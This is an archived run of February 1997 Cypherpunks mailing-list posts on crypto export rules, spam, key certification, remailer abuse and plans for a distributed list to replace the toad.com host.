Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
*****	Finger pete@idaho.ubisg.com for my PGP Public key !! *****
They that give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.        - Benjamin Franklin, 1759





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 08:10:56 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: Openmarket/128 bit export?
Message-ID: <199702131610.IAA04897@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just saw a newswire about Openmarket exporting 128 bit ssl
for OM-Transact.  Anyone have any details?

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 12:11:56 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702132011.MAA10172@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 2/12/97 -0800, jim bell wrote:
...
>I decided long ago (okay, well, many months ago) that the "solution" is to 
>invent a mechanism to allow spammers/advertisers to include a small amount 
>of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
>are willing to pay $0.32 for postage and probably $0.50 for production, 
>printing, and labelling costs, all for no guarantees of results, they should 
>even more happy to pay, say, 10 cents to each recipient.  At that rate, an
average 
>person would probably receive enough "spam" to  pay for his Internet 
>account, quite analogous to the way advertiser-supported TV is presented to 
>the public for no explicit charge.

First of all, they don't spend 32 cents per post.  They get one of those
bulk-mail permits which allows them to send those at a significant savings.
The whole package complete with the cheap "Yes, I'll try your service, and
send me the free gizmo"/"No, I don't need any more services, but I could use
the free gizmo" stickers probably costs well within 50 cents.
TV is not a gift per say, though your origional posts, involving a cookie,
suggested something closer to TV.  Currently, advertiser subsidized
services, like hotmail, Yahoo, and similair, are closer in that you get the
gift with only the minor distraction of the advertisement.

A more functional system might be to include a cryptographic "key" of only a
few bytes in the e-mail post that opens some online service of relative
value.  Along the lines of a hidden, no URL FTP site with all the best
downloads.
This would not be dependant upon e-cash being in place.  Would require that
the customer read at least part of the message in order to get the
instructions on how to use the key.  Prevent the user from just handing out
the key to whoever asked as it would probably have a limited lifespan.  And
give the sender some location from which to conduct polling, headcounts, etc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Thu, 13 Feb 1997 11:41:33 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702131941.LAA09515@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

[snip]
> It detects duplicates by Message-Id.

Unfortunately, the messages that make it through to the cypherpunks
list have their MessageID changed when they get approved.  So,
checking for duplicates by MessageID fails, given the current approval
mechanism. :(

I've informed Sandy of the problem, but he doesn't know how to
preserve the original MessageIDs.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 15:26:56 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702132326.PAA13599@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 2/12/97 -0800, Hal Finney wrote:
>From: Sean Roach <roach_s@alph.swosu.edu>
...
>> Another idea that has been festering.  If we could get a CPA involved in
>> this forum, I would be willing to have h[im/er] sign my key, (which is
>> seldom used, mostly because this is the only place I use e-mail), for that
>> reasonable fee that CPA's can charge.  I know that it is not a standard, or
>> even legally recognized, post for CPA's, but I think that enough people
>> would trust them.
>
>The big question with identity certificates is what procedures were followed
>in verifying the identity when the cert was issued.  If the CPA publishes
>some standard method, and his reputation is strong enough that people will
>trust him to follow it, then it might well be worth money to you to have
>him sign it.  This is the traditional role of the Certification Authority.
>
>> This would take care of some of the "newly minted" key problems.  Since
>> getting someone who is trusted to sign your key is a recognized method of
>> getting people to believe you are who you say you are.
>
>It depends on the circumstances where you expect to use your key.  Within
>a small to medium circle of associates there may be some group members
>who sign keys and are trusted by other members of the group.  There is
>no particular reason for it to be difficult.  If you want a signature which
>will be accepted by everyone in the U.S. you have a harder problem.

As far as I am aware, a CPA is supposed to require a photo ID.  Since this
is the method by which absentee voting is accomplished.  A supposedly
anonymous system, (using two envelopes, the postmaster only knows that you
voted, the vote counter only knows that it came by mail, the public only
knows how many people are absentee voters, and who, the voter assumes that
the system works), requiring the CPA as a witness to the identity of the voter.
The problem would be getting the public to recognize the CPA as a key
signing authority.  This would presumably require a public announcement, the
backing of existing trusted users, etc.

Personally, I think that the netherlands? toying around with the post office
would be ideal for keys used solely for signing.  I just wouldn't trust the
government to have access to the one I used for encryption.

Maybe that's a better idea.  Let's all use a government accessable key for
signing, making it as long as possible to reduce identity theft.  And use
homebrew, super encryption for the actual secrecy.  Let GAK be our CPA.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 11:58:34 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702131958.LAA09852@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


subs-cri-be to the unedited list.

igor
Derek Atkins wrote:
> 
> Anil Das <das@sgi.com> writes:
> 
> [snip]
> > It detects duplicates by Message-Id.
> 
> Unfortunately, the messages that make it through to the cypherpunks
> list have their MessageID changed when they get approved.  So,
> checking for duplicates by MessageID fails, given the current approval
> mechanism. :(
> 
> I've informed Sandy of the problem, but he doesn't know how to
> preserve the original MessageIDs.
> 
> -derek
> 
> -- 
>        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
>        Member, MIT Student Information Processing Board  (SIPB)
>        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
>        warlord@MIT.EDU                        PGP key available
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 15:27:13 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
Message-ID: <199702132327.PAA13638@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:10 PM +0000 2/13/97, Attila T. Hun wrote:

>+Attila is free to hire agents to screen his mail so he does not receive
>+spam. He is not free, in a free society, to force such screeners upon
>+me.
>
>    very true. if you if define that your freedom includes the free
>    abuse of your freedoms by others.  freedom is a two way street;
>    freedom in my book says that I can do anything I wish which does
>    not infringe on the rights of others. now, that implies that I can

As this relates to "unwanted mail," I think calling this an "abuse of
freedom by others" is misleading, and a slippery slope. On this same
slippery slope lies the claims by some women, as an example, that images in
Playboy "abuse their freedoms" (I'd've thought a different kind of abuse is
involved, but I won't get into that here).

Is unwanted physical mail also an abuse of freedom? How about unwanted
personal letters? How about unwanted conversations in a Cypherpunks meeting?

The answer to all of these issues lies outside the State. Invoking the
power of Men with Guns to stop these "unwanted contacts" is simply wrong.

Attila seems to be arguing that the State has a legitimate role in
censoring certain contacts, whereas I argue that technology and contracting
can almost always do a better job.

I repeat: Attila is free to hire a censor, or nanny, or personal secretary
to screen his calls, to sift through his mail to pass on only the most
relevant stuff, and so on. Many celebrities and busy people do just this.

(In the CompuServe case which triggered this thread, CompuServe certainly
could have offered a "filtering" service to its members. This would be
unexceptionable, and the right way to go, contractually and
technologically.)

Attila is not free, in a free society, to claim (*) that his freedoms are
being infringed when people send him mail he is not interested in.

(* He can certainly _claim_ it, but he cannot bring the State in to enforce
his dubious claim about his freedom being infringed.)

By the way, I think the "junk fax" and "junk phone call" laws are clearcut
violations of the First Amendment. I understand why the herd _wants_ these
laws, as it reduces the costs involved in replacing fax paper, running to
the telephone only to find someone trying to sell something, etc., but it
is quite clearly a prior restraint on speech, however well-intentioned.

(There are technological solutions to these problems as well. The laws
shield people from having to deal with these solutions, however.)

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Wed, 12 Feb 1997 18:56:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Transmission of Crypto material and ITAR
Message-ID: <199702130256.SAA18293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear All,

I have a question regarding the impossible enforcement of ITAR/EAR:
Naturally I cannot download crypto software from the US, but most of these
sites have mirrors in other countries, such as the UK for PGP, and sweden
and finland for lots of things.

However, with the way that information is routed throughout the internet
from these sites, whenever I, in Australia, request packets containing this
data from the UK etc, it invariably passes through the US from coast to
coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
trying to enforce something totally unenforcable? Surely they cannot expect
all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 

Can anyone tell me what the ruling is with regards to this?

Yours Sincerely,

Benjamin Grosman

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Thu, 13 Feb 1997 08:11:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Transmission of Crypto material and ITAR
Message-ID: <199702131611.IAA04908@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear All,

I have a question regarding the impossible enforcement of ITAR/EAR:
Naturally I cannot download crypto software from the US, but most of these
sites have mirrors in other countries, such as the UK for PGP, and sweden
and finland for lots of things.

However, with the way that information is routed throughout the internet
from these sites, whenever I, in Australia, request packets containing this
data from the UK etc, it invariably passes through the US from coast to
coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
trying to enforce something totally unenforcable? Surely they cannot expect
all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 

Can anyone tell me what the ruling is with regards to this?

Yours Sincerely,

Benjamin Grosman

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 12:12:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: distributed mailing list architecture (fwd)
Message-ID: <199702132012.MAA10181@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 7 Feb 1997 20:11:15 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: distributed mailing list architecture

> Igor Chudov <ichudov@algebra.com> writes:
> > I'd suggest a simplier solution: to connect each server with a couple,
> > or maybe three, other servers. This scheme is rather robust, does not
> > consume too much CPU time and bandwidth, and is easy to implement.
> 
> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

I envision it to look like a fishnet.

> Have one main majordomo.

There should be no "one main" anything on this project.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.
> 
> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).
> 
> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.
> 
> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).
> 
> The mail-exploders send mail to the address on their subscriber lists.
> 
> (John Gilmore suggested this architecture, as a simpler alternative).

Simpler? Hardly.

With the remailer chain proposal we could have a working remailer network
up in a couple of more days. What you propose will take weeks to write
and debug code and then follow it through.

No, this approach is neither simple or efficient.

What I call a fishnet toplogy is much cleaner. Each node only has to
filter messages where it was in the source chain. Easy to do with procmail,
if you look at the first example on the man page, eg how to dump to
dev/null, you find a perfect example of what procmail needs to do. It does
not need to know who else is on the network (as in a star) and its traffic
consists of one copy of each incoming instead of n copies from each of
the 'star' remailers plus the outgoing from the local subscribers. A easy
protocol can be arranged so that if the downstream remailer breaks it
subscribes to the next one in the chain, again easy to do with just a few
lines of code...


  If (bounce count of next site expires)
    {
       subscribe backup feed
    }
  If (next site returns)
    {
       unsubscribe backup feed
    }



As to the actual architecture:


                      A --> D
                     ^ \   ^ \
                    /   v /   v
                   C <-- B <-- E
                         ^
                         |
                         v
                         N  (mail-news gateway)


Again, several nice features are:

  *  Can be gotten up from a stock majordom/procmail install in a
     trivial manner

  *  Site only has to filter mail from itself

  *  It only has to keep up with two sites in the network instead
     of many (support for limited scope and anonymity)

  *  Each site gets a critical feed from only 1 other site so traffic of
     duplicates is a minimum

  *  Except for sites on the boundary of the net every site has two
     places to send its output, adding to robustness, if we allow
     the edges to wrap (eg torus) then no sites have less than 2
     other sites to send traffic to.

  *  Supports various levels of encryption or authentication on a link
     by link basis, not forcing all members to submint to a general
     architecture

  *  Scales easily, something the star model does not do since hub
     machines must grow at a rate dependant on the total number of
     remailers in the chain this equates to mullah and lots of it
     should the network take off

  *  The actual number of machines in a given chain is flexible, I
     would guess the number should match a plane tiling figure,
     triangle (n=3), squares (n=4), or hexagons (n=6)

  *  Traffic analysis and sync floods are harder to impliment in this
     architecture than a star or hub based network

  *  Supports 'little' machines and operators who are not guru's
     or have deep pockets


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 11:58:54 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702131958.LAA09890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35

>> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Someone with more experience correct me if I'm wrong (I'm just
>> starting to learn about mailing list management), but isn't saving
>> at least the first bounce from a given address good in order to check
>> what address is the one that's actually bouncing? Admittedly, this only
>> applies to badly-formed bounces. The rest can just have the address
>> noted.

>Hmmm, I can see saving the address causing the bounce in some sort of array
>that is indexed to the majordomo subscription list for a given remailer. It
>would not cost anything but overhead to save the entire message. I guess my
>motivation was not that I cared their mailbox was full or it was a invalid
>address but that I wouldn't be able to deliver at this time. I just don't
>see any reason that it helps me to know why they can't receive mail only that
>they can't.

	Well, if you can't deliver mail because their mailbox is full, then
you should simply wait a few days before trying to deliver mail to that
address. If it's because the address isn't there any more, you should delete
it from the subscription lists. Otherwise, the instant people's mail quotas
overflow (e.g., they're on AOL and they haven't been able to get through the
clogged lines), they get bounced... or you're left with a lot of invalid
addresses. The address causing the bounce is not necessarily determinable
automatically from the bounce message; if it isn't, then you need to keep a
copy around for a human to look at.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	Given that there are pre-existing news-mail gateways, I'd think that
the programs should be available. My concern on the programming is more in
the realm of keeping the thing up and running.

>I know exactly what you mean. I have two full-time jobs and hadn't really
>thought of taking on the cpunks list in any manner. But hey, that is the
>spice in life...

	Understood; my busy-ness with other stuff comes from being a grad
student.

>Give me a couple of days to look at the situation and if somebody don't beat
>me to it I'll post what I find out. Cool?

	Looks OK. I'll also take a look around for what information I can
find.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chefren <chefren@pi.net>
Date: Thu, 13 Feb 1997 06:56:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut u
Message-ID: <199702131456.GAA02066@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Thu, 13 Feb 1997 15:27:10 -0800 (PST)
To: remailer-operators@anon.lcs.mit.edu
Subject: Remailer Network Under Attack
Message-ID: <199702132327.PAA13634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It looks like a new round of attacks against the remailer network is
underway.  Once again, the provocation is "abuse".

Unknown persons have been using anonymous remailers and mail2news
gateways to "plant" e-mail addresses in various NGs for the
spam-bots to harvest and deluge with spam.  The original intention
appears to have been to "poison the well" for spammers by planting
addresses that they'd get in trouble for sending their junk mail to.
It appears that one or more copy-cats is now using the same
methodology to plant the addresses of people who they'd like to see
spammed.  (I'm using the term "plant" rather than "forge" since the
messages seem to contain sufficient disclaimers that the From:
addresses are not genuine.  Sufficient for a normal HUMAN reader,
but not an automated address harvester, that is.)

Within the last week or so, a chorus of complaints has arisen about
this practice, orchestrated by about a half dozen individuals who
meet an interesting criteria -- they all hold dual accounts on both
Netcom and a small ISP known as DataBasix.com.

The scenario is quite similar each time this has happened in the
past, such as with the cross-posted pro-smoking/anti-smoking threads
last year.  One of the complainers politely asks that the abusers be
identified and their abuse stop.  This is, of course, impossible
because the perpetrators are posting anonymously.  The second step,
which follows the first very closely, is a demand that the remailer
be shut down with threats being CCed to sysadmins and upstream
providers.

Given the variety of addresses being "spam baited", the only logical
target of this abuse is the remailers themselves.  Both sides of
certain heated controversies report being made the target of this
spam bait, each side accusing the other of being responsible.

The only question is whether the main group of complainers (the
Netcom/DataBasix group) are merely innocent bystanders or whether
they may have initiated the "abuse" as an excuse to shut down the
remailers in furtherance of some unknown agenda.  Either that, or
someone else is attacking the remailer net and it's just a
coincidence that a group fitting such a curious pattern (dual
accounts on the same two ISPs) should step in and demand the
dismantling of several elements of the remailer/m2n-gateway
infrastructure.

HYPOTHETICAL QUESTION: Would mentioning the "Reichstag Fire" invoke
Godwin's Law prematurely? <g>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonard Janke <janke@unixg.ubc.ca>
Date: Thu, 13 Feb 1997 15:27:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702132327.PAA13636@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> 
> Dr.Dimitri Vulis KOTM wrote:
> > [...] 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. [...]
> 
> As for net.cops, check out what Scott Nudds does in comp.lang.c++
> [...]

Yes, Scott Nudds is a good example of how dedicated flamers
(or maybe he is just a flamee trying to defend himself, I came
too late to say for sure), and those who fuel them on, can cause even 
a comp.* newsgroup to be as noisy as this list. (Btw, if you think
comp.lang.c++ is bad, check out comp.lang.asm.x86, sometime!).

I think it is, thus, important to distinguish between
noise from "outsiders", and noise caused by "insiders" who 
actually read the newsgroup but disrupt it for fun or
grudges, or what not. A comp.* newsgroup will help reduce the
former noise, for the reasons Dr. Vulis cites, but not so much the 
latter, since many insider trouble-makers  are often their own 
adminstraters or providers, or who have found providers or who
now have admins who will not cut them off.

That being said, I fully support the idea of a comp.* newgroup, 
over an alt.* group. The important advantages are the greater
propogation many have described, and the reduction in "outsider"
noise. I also think that people interested in computing
in general might be more likely to stumble onto the newsgroup,
since the comp.* hierachy is so much smaller than the alt.*
hierachy.

I do worry, however, that some of the more mischevious people 
around this list might try to disrupt the voting process with forged e-mail,
or turn the discussion over creation into a less than civil debate. 
In this unlinkely worst case scenario, however, not much would be lost
since we could still fall back to alt.cypherpunks, and it
would, later, make for good net.legends. :)

To be fair, though, I doubt that anyone would seriously try to
disrupt the creation, given the dedication I am seeing people putting 
into finding a new home (or homes!) for the list, and that there does not 
seem to be anyone dedicated to distrupting that process as John Gilmore 
worried there would be. (And I am on the unedited list, too!) 

Let's give it a shot!

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 12:11:59 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702132011.MAA10175@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35
To:	IN%"cypherpunks@toad.com"
CC:	
Subj:	RE: Cypherpunks Distributed Remailer (fwd)

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Date: Wed, 12 Feb 1997 18:59:05 -0600 (CST)
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: RE: Cypherpunks Distributed Remailer (fwd)
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Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	So far as I can tell, there are two types of news2mail gateways
in common usage: newsgate, which is in C, and the standard LISTSERV
bit.listserv.* gatewaying. I don't know C and don't have that much
reason to learn it (perl makes a lot more sense to me); therefore, I'd
need to locate a perl version or let someone else take care of the
actual programming end of it, with me just handling what the programming
person didn't. Hmm... I wonder if Lance would be available for the
programming? I'd probably be using an account on cyberpass.net for the
gateway in any event.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen.George.Allport" <ca3sal@isis.sunderland.ac.uk>
Date: Thu, 13 Feb 1997 06:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702131456.GAA02065@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Strassmann wrote:
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.

As the UK gets a lot of desktop PC software from the US, ie MS & Lotus
we unfouantly have to live with the 40-bit limit. What the RSA Chalange and 
Ian Goldberg have achived is a couple of aritcales in the broad sheet papers

http://www.telegraph.co.uk:80/et?ac=000145546611023&rtmo=33032622&atmo=33032622&
P4_FOLLOW_ON=/97/2/4/ecfilm04.html&pg=/et/97/2/4/ecfilm04.html

(ouch) and

http://go2.guardian.co.uk/archive.html

The competion has shown to the general populs and not just "experts" what a 
crap deal were getting. Three and half hours gets people thinking.

Ste 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 15:26:48 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702132326.PAA13588@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
>
>This is where the distributed nature of the list comes   in.
>
>if someone disagrees with Jim's AUP, he or she can use soem other
>mailing list host.

Is this the policy of the majordomo network, that individual list operators
can make their own policies for their subscribers, but may not/cannot
impose them on other list operators or the other lists' members? It sounds
very reasonable, but it would be nice to be clear about whether or not this
is the case. 

Are there any rules (other than "no rules") which apply to all lists/list
operators/list subscribers? Can there ever be any? Who would write the
rules, and who must agree to them in order for them to take effect?

Can individual list operators be forced to or forbidden to "peer" with
other machines, or are these "peer" relationships up to each list operator?

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 13 Feb 1997 15:26:49 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702132326.PAA13590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Igor Chudov @ home writes:

IC> This is where the distributed nature of the list comes in.  if
IC> someone disagrees with Jim's AUP, he or she can use soem other
IC> mailing list host.

	And once I'm up and running, my cypherpunks list server will
not be interconnected with any server which has a similar AUP.  The
implication of the AUP is that if you _don't_ comply with it, you will
be blocked.  Without such an implication, the AUP is meaningless, and
I'm dedicated that there should be no filtering/blocking of any kind,
of the list.  Persons behaving 'unacceptably' should be handled by
social pressures by others in the 'community' of the list, and not by
policies of the list operators.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 13 Feb 1997 15:28:52 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702132328.PAA13671@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Tobin Fricke wrote:

	Turns out they were just late in gettin it to me, but I did get
it.

> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
